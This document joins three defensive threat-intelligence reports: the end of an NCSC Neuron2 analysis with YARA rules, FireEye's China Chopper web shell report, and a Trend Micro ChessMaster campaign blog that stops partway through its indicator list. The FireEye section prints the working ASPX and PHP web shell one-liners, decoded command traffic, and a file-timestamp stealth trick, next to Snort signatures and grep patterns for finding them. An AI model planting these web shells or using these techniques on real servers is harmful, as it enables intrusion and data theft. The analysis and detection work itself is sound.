As an example, the following characters are looked for (in the order shown) to determine which functionality should be performed: Character Functionality Set the AES salt ( and ) Return list of storage files ( Get and return defined storage file ) Add specified storage file to local storage (write to disk) - Send RSA encrypted encryption key (machine GUID) _ Proxy request through to another address , but not _ Perform specified command and return result Associated Files TLP WHITE TLP WHITE Page 7 of 8 Name dcomnet.dll Description Neuron2 Loader (x64) MD5 60bcc6bc746078d81a9cd15cd4f199bb SHA1 c9fc7ce10aba20894ef914d2073021a48995db17 SHA256 51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927 Size 170496 Compile Time 28 Nov 2017 06:25:24 Name neuron2.exe Description Neuron2 Payload MD5 d891c9374ccb2a4cae2274170e8644d8 SHA1 2fb145c64263006a95a0771b57e967977f63954d SHA256 83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015 Size 59392 Compile Time 28 Nov 2017 04:44:26 Neuron Yara rule neuron2_loader_strings meta: description  Rule for detection of Neuron2 based on strings within the loader author  NCSC hash  51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927 strings: dcom_api ascii http://:80/OWA/OAB/ ascii https://:443/OWA/OAB/ ascii dcomnetsrv.cpp wide dcomnet.dll ascii D:\\Develop\\sps\\neuron2\\x64\\Release\\dcomnet.pdb ascii condition: (uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550) and 2 of them  TLP WHITE TLP WHITE Page 8 of 8 rule neuron2_decryption_routine meta: description  Rule for detection of Neuron2 based on the routine used to decrypt the payload author  NCSC hash  51616b207fde2ff1360a1364ff58270e0d46cf87a4c0c21b374a834dd9676927 strings: 81 FA FF 00 00 00 0F B6 C2 0F 46 C2 0F B6 0C 04 48 03 CF 0F B6 D1 8A 0C 14 8D 50 01 43 32 0C 13 41 88 0A 49 FF C2 49 83 E9 01 condition: (uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550) and all of them  rule neuron2_dotnet_strings meta: description  Rule for detection of the .NET payload for Neuron2 based on strings used author  NCSC hash  83d8922e7a8212f1a2a9015973e668d7999b90e7000c31f57be83803747df015 strings: dotnetMagic  BSJB ascii s1  http://:80/W3SVC/ wide s2  https://:443/W3SVC/ wide s3  neuron2.exe ascii s4  D:\\Develop\\sps\\neuron2\\neuron2\\obj\\Release\\neuron2.pdb ascii condition: (uint16(0)  0x5A4D and uint16(uint32(0x3c))  0x4550) and dotnetMagic and 2 of (s)
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell FireEye Labs Authors: Tony Lee, Ian Ahl and Dennis Hanzlik FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 1 Contents Introduction 2 Components 2 Capabilities 7 Payload Attributes 11 Platform 14 Delivery Mechanism 16 Traffic Analysis 16 Detection 20 Conclusion 23 About FireEye 23 FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 2 Introduction China Chopper is an increasingly popular Web shell that packs a powerful punch into a small package.
In the space of just 4 kilobytes, the Web shell offers file and database management, code obfuscation, and moreall in an easy-to-use graphical user interface that even novices can use.
Given its growing prevalence, especially among Chinese cybercriminals, China Chopper warrants much more exposure than it has received to date.
Outside of an insightful blog post from security researcher Keith Tyler1, little useful information on China Chopper is publically available.
To contribute something new to the public knowledge baseespecially for those who happen to find the China Chopper server-side payload on one of their Web serversFireEye studied the components, capabilities, payload attributes, and the detection rate of this 4 kilobyte menace.
This report describes the features that make China Chopper an increasingly popular tool for cyber attackers.
And more important, the report explains how security professionals can better detect the Web shell through network traffic and on compromised systems.
Components China Chopper is a simple backdoor in terms of components.
It has two key components: the Web shell command-and-control (CnC) client binary and a text-based Web shell payload (server component).
The text-based payload is so simple and short that an attacker could type it by hand right on the target serverno file transfer needed.
Web shell client The Web shell client was originally available on www.maicaidao.com.
FireEye advises against visiting that site now.
1 Tylers China Chopper post is available at http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html.
Web Shell (CnC) Client MD5 Hash caidao.exe 5001ef50c7e869253a7c152a638eab8a Table 1: Original Web shell client with MD5 hash code FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 3 The client binary is packed with UPX and is 220,672 bytes in size, as shown in Figure 1.
Figure 1: Client binary viewed in WinHex The executable file compressor UPX unpacks the binary to reveal details hidden by the packer.
C:\Documents and Settings\Administrator\Desktopupx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2011 UPX 3.08w       Markus Oberhumer, Laszlo Molnar  John Reiser   Dec 12th 2011 File size         Ratio      Format      Name --------------------   ------   -----------   ----------- 700416 -    220672   31.51    win32/pe     decomp.exe Unpacked 1 file.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 4 PEiD (a free tool for detecting packers, cryptors, and compilers found in PE executable files),2 reveals that the unpacked client binary was written in Microsoft Visual C 6.0, as shown in Figure 2.
2 More information about PEiD is available at http://www.aldeid.com/wiki/PEiD.
Because the strings are not encoded, examining them in the unpacked binary exposes how the backdoor communicates.
Appearing in the strings are an intriguing reference to google.com.hk using the Chinese (simplified) language parameter (Figure 3) and references to the text Chopper (Figure 4).
Figure 2: PEiD reveals that the binary was written using Visual C 6.0 Figure 3: Printable strings refer to www.google.com.hk FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 5 In action, China Chopper is a menu-driven GUI full of convenient attack and target-management features.
When opened, the client displays example shell entries that point to www.maicaidao.com, which originally hosted components of the Web shell.
To add a target, attackers right click within the client window, select Add from the menu and enter the target IP address, password, and encoding as shown in Figure 5.
Figure 4: References to Chopper in the client binary Figure 5: Picture of the China Chopper Web shell interface FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 6 CHINA Server-side Payload Component But the client is only half of the remote access tool (RAT)and not likely the part that would appear on a targeted network.
Its communication relies on a payload in the form of a small Web application.
This payload is available in a variety of languages such as ASP, ASPX, PHP, JSP, and CFM.
Table 2 shows some of the original files available for download shown with their MD5 hashes.
Web Shell Payload MD5 Hash Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08 Customize.cfm ad8288227240477a95fb023551773c84 Customize.jsp acba8115d027529763ea5c7ed6621499 Table 2: Original China Chopper files, with MD5 hash codes3 Even though the MD5s are useful, this is a text-based payload that can be easily changed, resulting in a new MD5 hash.
Here is an example of just one of China Choppers text-based payloads (for more details, see Payload Attributes on Page 11): In real-world use, password would be replaced with the actual password to be used in the client component when connecting to the Web shell.
ASPX: 3 Keith Tyler.
China Chopper Webshell - the 4KB that Owns your Web Server.
November 2012.
Page LanguageJscripteval(Request.
Item[password],unsafe) FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 7 Capabilities The capabilities of both the payload and the client are impressive considering their size.
The Web shell client contains a Security Scan feature, independent of the payload, that gives the attacker the ability to spider and use brute-force password guessing against authentication portals.
Figure 6: China Chopper provides a Security Scan feature Figure 7: Screenshot of the CnC client showing capabilities of the Web shell In addition to vulnerability hunting, China Chopper has excellent CnC features when combining the client and payload, include the following: File Management (File explorer) Database Management (DB client) Virtual Terminal (Command shell) In China Choppers main window, right-clicking one of the target URLs brings up a list of possible actions (see Figure 7).
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 8 File Management Used as a RAT, China Chopper makes file management simple.
Abilities include uploading and downloading files to and from the target, using the file-retrieval tool Wget4 to download files from the Web to the target.
Attackers can also edit, delete, copy, and rename filesand even change their time stamp.
4 Wget is available at http://www.gnu.org/software/wget/.
Figure 8: File management provides an easy-to-use menu that is activated by right-clicking on a file name Figure 9: IIS directory showing time stamps prior to the time modification The Modify the file time option is a surprisingly effective stealth technique.
Figure 9 shows the time stamps of the three files in the test directory before the Web shell modifies the time stamps.
By default, Windows Explorer shows only the Date Modified field.
Without the time stamp change, the Web shell easily stands out because it is newer than the other two files.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 9 Figure 10 shows the date of the file after the Web shell modifies the time stamp.
The Date Modified value on the Web shell shows up as the same as the other two files.
This is the default field displayed to users, so to the untrained eye it easily blends inespecially with many files in the directory.
5 The mftdump tool is available at http://malware-hunters.net/all-downloads/.
Clever investigators may think that they can spot the suspicious file due to the creation date being changed to the same date as the modified date.
But this is not necessarily anomalous.
Additionally, even if the file is detected, the forensic timeline is skewed because the date that the attacker planted the file is no longer present.
Finding the real date that the file was planted requires examining the Master File Table (MFT).
After acquiring the MFT using FTK, EnCase, or other means, FireEye recommends using mftdump.5 Written by FireEye researcher Mike Spohn, mftdump is a great tool for extracting and analyzing file metadata.
Table 3 shows the time stamps pulled from the MFT for our Web shell file before and after the time stamps were modified.
The fn fields retain their original times, so some useful information remains.
Figure 10: IIS directory showing time stamps after the time modification Category Pre-touch Match Post-touch Match siCreateTime (UTC) 6/6/2013 16:01 2/21/2003 22:48 siAccessTime (UTC) 6/20/2013 1:41 6/25/2013 18:56 siModTime (UTC) 6/7/2013 0:33 2/21/2003 22:48 siMFTModTime (UTC) 6/20/2013 1:54 6/25/2013 18:56 fnCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01 fnAccessTime (UTC) 6/6/2013 16:03 6/6/2013 16:03 fnModTime (UTC) 6/4/2013 15:42 6/4/2013 15:42 fnMFTModTime (UTC) 6/6/2013 16:04 6/6/2013 16:04 Table 3: Time stamps from MFT FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 10 Database Management The database management functionality is impressive and helpful to the first-time user.
Upon configuring the client, China Chopper provides example connection syntax.
Figure 11: Database management requires simple configuration parameters to connect Figure 12: China Choppers database management feature lets users interact with a database and even provides helpful prepopulated commands Figure 13: Virtual terminal provides a command shell for OS interaction After connecting, China Chopper also provides useful SQL commands.
Command Shell Access Finally, China Chopper provides command shell access for OS-level interaction, further demonstrating its versatility.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 11 Payload Attributes China Chopper is stealthy due to a number of factors, including the following: Size Server-side content Client-side content AV detection rate (or lack thereof) Size Malicious and benign software usually suffers from the same principle: more features equals more code, which equals larger size.
Considering how many features China Chopper offers, it is incredibly smalljust 73 bytes for the ASPX version, or 4 kilobytes on disk (see Figure 14).
Compare that to other Web shells such as Laudanum (619 bytes) or RedTeam Pentesting (8,527 bytes).
China Chopper is so small and simple that an attacker could conceivably type the contents of the shell by hand.
Figure 14: China Chopper file properties FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 12 Server-Side Content The server-side content could easily be overlooked among the other files associated with a vanilla install of a complex application.
The code does not look maliciousjust odd.
Figure 15: The content of the file seems relatively benign, especially if with a safe-sounding word like Security as the shell password Figure 16: Viewing the source of the Web shell reveals nothing to the client Below are the contents of the Web shell for two of its varieties.
Client-Side Content Because all of the code is server-side language that does not generate client-side code, browsing to the Web shell and viewing the source as a client reveals nothing.
PHP: ASPX: Page LanguageJscripteval(RequestItem[password],unsafe) ?
php eval(_POST[password])?
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 13 Anti-Virus Detection Rate Running the Web shell through the virus-scanning website No Virus Thanks shows a detection rate of 0 out of 14, indicating that most, if not all, anti-virus tools would miss the Web shell on an infected system.
Figure 17: Results of multiple anti-virus engine inspections showing China Chopper coming up clean FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 14 The same holds true for VirusTotal.
None of its 47 anti-virus engines flags China Chopper as malicious.
Figure 18: Results of multiple AV engine inspections showing the Web shell comes up clean Figure 19: This command is all that it takes to run on Linux with PHP Platform China Chopper can run on any Web server capable of running JSP, ASP, ASPX, PHP, or CFMthe majority of Web application languages.
China Chopper can also run transparently on both Windows and Linux.
This OS and application flexibility make China Chopper an even more dangerous Web shell.
Server-side Payload Component on Page 5 showed China Chopper executing on a Windows 2003 IIS server using ASPX.
Figure 19 shows it running on Linux with PHP.
Here, the contents of the PHP version are just as minimalistic.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 15 While the available options differ depending on what platform China Chopper is running on, the file management features in Linux (see Figure 20) are similar to those in Windows.
Figure 20: File browsing on a target system running Linux Figure 21: Database management from a target system running Linux Figure 22: Virtual terminal from a target system running Linux The database client example shown in Figure 21 is MySQL instead of MS-SQL, but it offers many of the same capabilities.
The virtual terminal looks familiar (Figure 22), but uses Linux commands instead of Windows because they are ultimately interpreted by the underlying operating system.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 16 Delivery Mechanism China Choppers delivery mechanism is flexible due to the size, format, and simplicity of the malwares payload.
This small, text-based payload can be delivered using any of the following mechanisms: WebDAV file upload JBoss jmx-console or Apache Tomcat management pages (For more details on this attack vector, read FireEye consultant Tony Lees explanation)6 Remote exploit with a file drop Lateral propagation from other access Traffic Analysis After examining the server-side payload and the client used to control the Web shell, the next step to understanding China Chopper is observing its traffic.
Having both the server and client components enables researchers to start a packet capture to view the contents of typical traffic.
As shown in Figure 23, the client initiates the connection over TCP port 80 using the HTTP POST method.
Figure 23: A packet capture shows that the Web shell traffic is HTTP POST traffic over TCP port 80 6 Tony Lee.
Manually Exploiting Tomcat Manager.
September 2012.
FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 17 Because this is TCP traffic, researchers can follow the TCP stream in Wireshark, a popular open-source network-protocol analyzer that works in Unix and Windows.7 In Figure 24, the traffic in red at the top is from the attacker (Web client).
The traffic shown in blue at the bottom is the response from the target (Web shell).
7 Wireshark is available at http://www.wireshark.org/.
Figure 24: After following the TCP stream, researchers can see that the majority of the attacker traffic is Base64 encoded FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 18 8 Fiddler is available at http://fiddler2.com/.
As highlighted above, the majority of the attacker traffic appears to be Base64 encoded.
This is not a problem though, because it can be easily decoded.
Using the TextWizard feature of the free Fiddler Web debugger reveals what the attacker is sending.8 (Note: 3D is a URL-encoded representation of the equal sign ().
Fiddler needs this to be converted to an equal sign for proper decoding.)
Raw attacker traffic: As shown In Figure 25, the Fiddler Web debugger text wizard easily converts the raw traffic from Base64 to plain text.
Figure 25: Fiddler Web debugger decodes the Base64 traffic PasswordResponse.
Write(-) var err:Exceptiontryeval(System.
Text.
Encoding.
GetEncoding(65001).
GetString(System.
Convert.
FromBase64String (dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3R lbS5UZXh0LkVuY29kaW5n LkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc 2U2NFN0cmluZyhSZXF1ZX N0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXN zKCk7dmFyIG91dDpTeXN0 ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTa GVsbEV4ZWN1dGU9ZmFsc2 U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJ yb3I9dHJ1ZTtlLlN0YXJ0 SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY 29kaW5nKDY1MDAxKS5HZX RTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1 bInoyIl0pKTtlLlN0YXJ0 KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2Uo KTtSZXNwb25zZS5Xcml0ZS hvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw3D3D)),unsafe) catch(err)Response.
Write (ERROR:// 2Berr.message)Response.
Write(-)Response.
End()z1Y21kz2Y2QgL2QgImM6 XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ3D3D FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 19 The decoded traffic presents something more readable.
But the Base64-decoded traffic shows an attempt to decode more Base64 traffic stored as z1 and z2.
The attacker traffic shows z1 and z2 parameters immediately after the end of the Password parameter.
The Base64-encoded parameters z1 and z2 are highlighted in the following output: Decoded traffic: Base64-decoded parameters z1 and z2: This code explains how the client communicates with the shell.
The Password parameter passes the code to the payload to be executed.
The z1 is cmd, and z2 contains the arguments to the command prompt sent via cmd /c.
All output is sent to standard output (stdout) back to the attacker, which creates the following response to the whoami command and the present working directory: varcnewSystem.
Diagnostics.
ProcessStartInfo(System.
Text.
Encoding.
GetEn- coding(65001).
GetString(System.
Convert.
FromBase64String(Request.
Item[z1]))) varenewSystem.
Diagnostics.
Process() varout:System.
IO.StreamReader,EI:System.
IO.StreamReader c.UseShellExecutefalse c.RedirectStandardOutputtruec.
RedirectStandardErrortrue e.StartInfocc.
Arguments/cSystem.
Text.
Encoding.
GetEncoding(65001).
GetString(System.
Convert.
FromBase64String(Request.
Item[z2])) e.Start()oute.
StandardOutputEIe.
StandardErrore.
Close() Response.
Write(out.
ReadToEnd()EI.ReadToEnd()) z1Y21kz2Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZ jZCZlY2hvIFtFXQ3D3D z1cmdz2cd /d c:\inetpub\wwwroot\whoamiecho [S]cdecho [E] -nt authority\network service[S]C:\Inetpub\wwwroot[E]- FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 20 Detection Understanding the contents of China Chopper and what its traffic looks like allows researchers to detect this pest both at the network and the host level.
Network With a standard Snort9 IDS in place, this traffic can be caught with relative ease.
Keith Tyler provides the following basic IDS signature in his previously cited China Chopper blog post:10 9 Snort is available at http://www.snort.org/.
10 Keith Tyler.
China Chopper Webshell - the 4KB that Owns your Web Server.
November 2012.
To reduce false positives, tighten the Snort IDS signature to focus on China Chopper by looking for contents of FromBase64String and z1 as follows: The following IDS signature looks for content of FromBase64String and any combination of z followed by one to three digitsit would find z1, z10, or z100 for example.
The idea: if the first command (z1) is missed, the signature still catches subsequent commands.
Both of these IDS signatures can be optimized further to factor depth and offset.
Be sure to put a valid SID in before implementing and test the signature for performance.
alert tcp any any - any 80 ( sid:900001 content:base64_decode http_client_bodyflow:to_server,established content:POST nocase http_method msg:Webshell Detected Apache) alert tcp EXTERNAL_NET any - HTTP_SERVERS HTTP_PORTS (msg: China Chopper with first Command Detected flow:to_server,established content: FromBase64String content: z1 content:POST nocasehttp_method reference:url,http://www.fireeye.com/blog/technical/botnet-activities- research/2013/08/ breaking-down-the-china-chopper-web-shell-part-i.html classtype:web-application-attack sid: 900000101) alert tcp EXTERNAL_NET any - HTTP_SERVERS HTTP_PORTS (msg: China Chopper with all Commands Detected flow:to_ server,established content: FromBase64String content: z pcre: /Z\d1,3/i content:POST nocasehttp_method reference:url,http://www.fireeye.com/blog/technical/botnet-activities- research/2013/08/ breaking-down-the-china-chopper-web-shell-part-i.html classtype:web-application-attack sid: 900000102) FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 21 Host Because the shells must contain a predictable syntax, researchers can quickly attempt to find files that have that code in play.
Many methods can be used to find files that contain China Chopper.
The quickest and easiest method, especially on a Linux machine, is probably using regular expressions.
As shown in Figure 26, a quick egrep across the Web directory can help identify infected files.
Figure 26: Using egrep to find China Chopper Figure 27: Using findstr to locate China Chopper As shown in Figure 26, the egrep and regex commands are a powerful combination.
While the regex syntax may seem like gibberish, mastering it is not as difficult as it seems at first glance.
Ian Ahl has created a few tutorials that can help improve researchers regex skills.
Here are two to get started: Regex basics (http://www.tekdefense.com/news/2012/10/21/tektip-ep12-regex-basics.html) Using regex with Notepad (http://www.tekdefense.com/news/2013/1/6/tektip-ep19-using-regex-with-notepad.html) Windows also provides a way to search files using regular expressions with its native findstr command.
egrep -re  [][?]
php\s\eval[(]\_POST\[.\][)][?
][]
.php c:\Toolsfindstr /R [][?]
php.\eval[(]\_POST.[)][?
][]
.php test.php:?php eval(_POST[password])?
c:\Tools FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 22 The command string differs from the regex equivalent.
This was necessary to get around some of the ways that findstr interprets regex.
The findstr command runs as follows: findstr /R [][?]
php.\eval[(]\_POST.[)][?
][]
.php These examples show detection in the PHP shell.
To find the ASPX shell, modify the regex to fit the syntax of the ASPX shell as shown: egrep -re []\\\sPage\sLanguage.
Jscript.\[][]\eval.
Request\.
Item.unsafe .aspx findstr /R []\\.Page.
Language.
Jscript.\[][]\eval.
Request\.
Item.unsafe .aspx Researchers unsure where all of the PHP or ASPX files are on a Windows host can use the dir command with some extended options to help identify Web files to run the regex command against (see Figure 28).
dir /S /A /B .php Findstr also has an option to search all subdirectories (see Figure 29), as follows: findstr /R /S [][?]
php.\eval[(]\_POST.[)][?
][]
.php Figure 28: Recursive search through Windows using the dir command Figure 29: Using findstr to recursively locate multiple instances of the Web shell FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 23 FireEye, Inc.   1440 McCarthy Blvd.
Milpitas, CA 95035    408.321.6300    877.FIREEYE (347.3393)    infoFireEye.com    www.
FireEye.com 2013  FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
RPT.CCWS.EN-US.112013 Conclusion Armed with knowledge about China Choppers features, platform versatility, delivery mechanisms, traffic analysis, and detectionalong with a few free software toolsresearchers can begin eradicating this elegantly designed but dangerous menace.
To learn more about how FireEye can help your organization find China Chopper and other advanced malware, visit www.fireeye.com.
About FireEye FireEye has invented a purpose-built, virtual machine-based security platform that provides real- time threat protection to enterprises and governments worldwide against the next generation of cyber attacks.
These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways.
The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors, including Web, email, and files and across the different stages of an attack life cycle.
The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time.
FireEye has over 1,100 customers across more than 40 countries, including over 100 of the Fortune 500.
Trend Micro November 6, 2017 ChessMasters New Strategy: Evolving Tools and Tactics blog.trendmicro.com/trendlabs-security-intelligence/chessmasters-new-strategy-evolving-tools-tactics/ by MingYen Hsieh, CH Lei, and Kawabata Kohei A few months ago, we covered the ChessMaster cyberespionage campaign, which leveraged a variety of toolsets and malware such as ChChes and remote access trojans like RedLeaves and PlugX to compromise its targets primarily organizations in Japan.
A few weeks ago, we observed new activity from ChessMaster, with notable evolutions in terms of new tools and tactics that werent present in the initial attacks.
From what weve seen, ChessMaster is continuously evolving, using open source tools and ones they developed, likely as a way to anonymize their operations.
Based on the way the campaign has developed, it wont be surprising to see additional evolutions from ChessMaster in the future.
Infection Vector Figure: 1 ChessMaster infection chain.
Here is a summary of how ChessMaster enters a target system: 1/6 https://blog.trendmicro.com/trendlabs-security-intelligence/chessmasters-new-strategy-evolving-tools-tactics/ http://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/ http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-1.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-2.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-3.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-4.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-5.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-6.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-7.jpg 1.
An exploit document arrives on a target system.
This document abuses a SOAP WSDL parser vulnerability (CVE-2017-8759) that affects the Microsoft .NET Framework 2.
It then accesses the remote server 89[.]18[.]27[.
]159/img.db 3.
Once the victim opens the document, the attacker can execute arbitrary commands on the victims machine.
4.
The exploit document then launches mshta.exe to access 89[.]18[.]27[.
]159:8080/lK0RS, which serves as the first backdoor into the system 5.
This backdoor launches a malicious PowerShell script 6.
The PowerShell script downloads and activates the malware located in the remote server 89[.]18[.]27[.
]159/FA347FEiwq.jpg 7.
jpg is the second backdoor, which uses the Command-and-Control (CC) server62[.]75[.]197[.
]131.
As mentioned earlier, the first step of the new campaign involves the use of an exploit document that connects to the remote server 89[.]18[.]27[.
]159/img.db when opened.
Img.db holds the exploit command, which will execute the content of another remote server, 89[.]18[.]27[.
]159:8080/lK0RS, via mhsta.exe.
The image below shows the malicious link 89[.]18[.]27[.
]159/img.db embedded in the exploit document: Figure 2.
Link embedded in the document 89[.]18[.]27[.
]159:8080/lK0RS is a JScript backdoor, which apparently comes from an open source RAT known as Koadic.
At this stage, we observed that the attacker tried to gather the systems environment information via command line tools.
We also observed that some commands were based on the result of a previous command, which means that not all parts of the attack were automated and that parts of the commands were done manually.
While this might be a sign of a more sophisticated automation technique, we believe that this may be an attacker trying to get up close and personal by manually checking the environment before delivering the final payload.
It is possible that this was done to avoid sandboxing or analysis by researchers.
2/6 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2017-8759 While we were not able to gather the actual live data of the next step of the attack, we were able to observe Koadic and the following script, which tries to download another DLL file from the same server that hosts Koadic, at the same time.
We believe that FA347FEiwq.jpg serves as the final payload of this attack.
Figure 3: PowerShell script used to download  execute FA347FEiwq.jpg The script attempts to download the file from 89[.]18[.]27[.
]159/FA347FEiwq.jpg (detected by Trend Micro as BKDR_ANEL.ZKEI), a DLL file which serves as the second backdoor.
The Powershell script leverages RegisterXLL, which is a component of Excel, to load BKDR_ANEL into Excel.exe Figure 4: FA347FEiwq.jpg is loaded by Excel.exe Backdoor Analysis BKDR_ANEL is downloaded from89[.]18[.]27[.
]159.
Once loaded onto the system, it will launch and inject code into svchost.exe, after which the injected code decrypts and activates the embedded backdoor.
BKDR_ANEL has a Microsoft signature attachedthe signature is invalid and likely added to make it seem more harmless.
The backdoor has a hardcoded malware version labeled 5.0.0 beta1 that contains basic backdoor routines with a string-like Function not implemented.
inside.
The relatively incomplete code might be a clue of a new variant in the future.
The malwares CC protocol is very similar to the one used by BKDR_CHCHES at first glance: 3/6 Figure 5: Comparison of BKDR_ANEL and BKDR_CHCHES CC protocols However they are different backdoors, with BKDR_CHCHES employing RC4 as its main encryption algorithm wherein the decryption key is sent with the encrypted information separated by  and set in the Cookie header.
On the other hand, BKDR_ANEL utilizes Blowfish with the hardcoded encryption key obviously labeled as this is the encrypt key.
Another difference between the two is that BKDR_CHCHES does not contain any backdoor routines by default.
Instead, it loads additional modules from the CC server directly into memory.
Alternatively, BKDR_ANEL is more like a regular backdoor embedded with basic backdoor routines.
The image and table below illustrate the information BKDR_ANEL sends, and how BKDR_ANEL encrypts the information.
Figure 6: Information sent by BKDR_ANEL (1/2) Offset Description Example in previous figure 0x0 Process ID 78 0C 00 00 0x4 MD5(computer name  machine GUID) 20 C4 36 1D 03 2F 93 B8 C7 A0 01 9A EB 2B BD EF 0x14 Computer name TEST 0x20 Timestamp 1508201270 0x2a OS version 5.1.2600 0x3a User name Administrator 4/6 0x47 Time zone information 00 00 00 00   (Bias / 60) 00 00 00 00   (Bias  60) 01 00 00 00  Has DaylightBias or not 0x53 Current directory C:\Documents and Settings\Administrator\My Documents 0x87 Backdoor version 5.0.0 beta1 Table 1: Information sent by BKDR_ANEL (2/2) Figure 7: BKDR_ANEL encryption process The information blocks are separated by .
As seen in the image above the string before in each block, such as oVG, is not used.
Further similarities between BKDR_ANEL and BKDR_CHCHES can be seen in special partial MD5 logic.
Both malware only uses the middle 8 bytes from the regular MD5 result.
BKDR_CHCHES will use it to encrypt the network traffic, while BKDR_ANEL uses it as a code branch in the malware encryption routine, although from our analysis, it does not look like it is currently in use.
Mitigation 5/6 To combat campaigns like ChessMaster, organizations need to make full use of the tools available to them.
This includes everything from regularly updating their systems to the latest patches, which minimizes the impact of attacks that leverage vulnerabilities.
In addition, the proper use of behavior monitoring, application control, email gateway monitoring, and intrusion/detection systems can help detect any suspicious activities that occur within the network.
Finally, organizations need to cultivate a culture of security to educate users on what to look out for in terms of potential attacks, as end users are often the primary target of these kinds of campaigns.
Organizations can also strengthen their security by employing solutions such as Trend Micro Vulnerability Protection, which protects endpoints from threats that exploit vulnerabilities via a high-performance engine monitors traffic for new specific vulnerabilities that uses host-based intrusion prevention system (IPS) filters as well as zero-day attack monitoring.
In addition, comprehensive security solutions can be used to protect organizations from attacks.
These include Trend Micro endpoint solutions such as Trend Micro Smart Protection Suites, and Worry-Free Business Security, which can protect users and businesses from these threats by detecting malicious files, well as blocking all related malicious URLs.
Trend Micro Deep Discovery has an email inspection layer that can protect enterprises by detecting malicious attachment and URLs.
Trend Micro OfficeScan with XGen endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against all kinds of threats.
Indicators of Compromise: Related hashes detected as BKDR_ANEL.ZKEI (SHA-256): af1b2cd8580650d826f48ad824deef3749a7db6fde1c7e1dc115c6b0a7dfa0dd Command-and-control server: hxxp://62[.]75[.]197[.]131/page/?
[random strings] URLs related to the campaign hxxp://89[.]18[.]27[.
]159/img.db hxxp://89[.]18[.]27[.
]159:8080/lK0RS hxxp://89[.]18[.]27[.
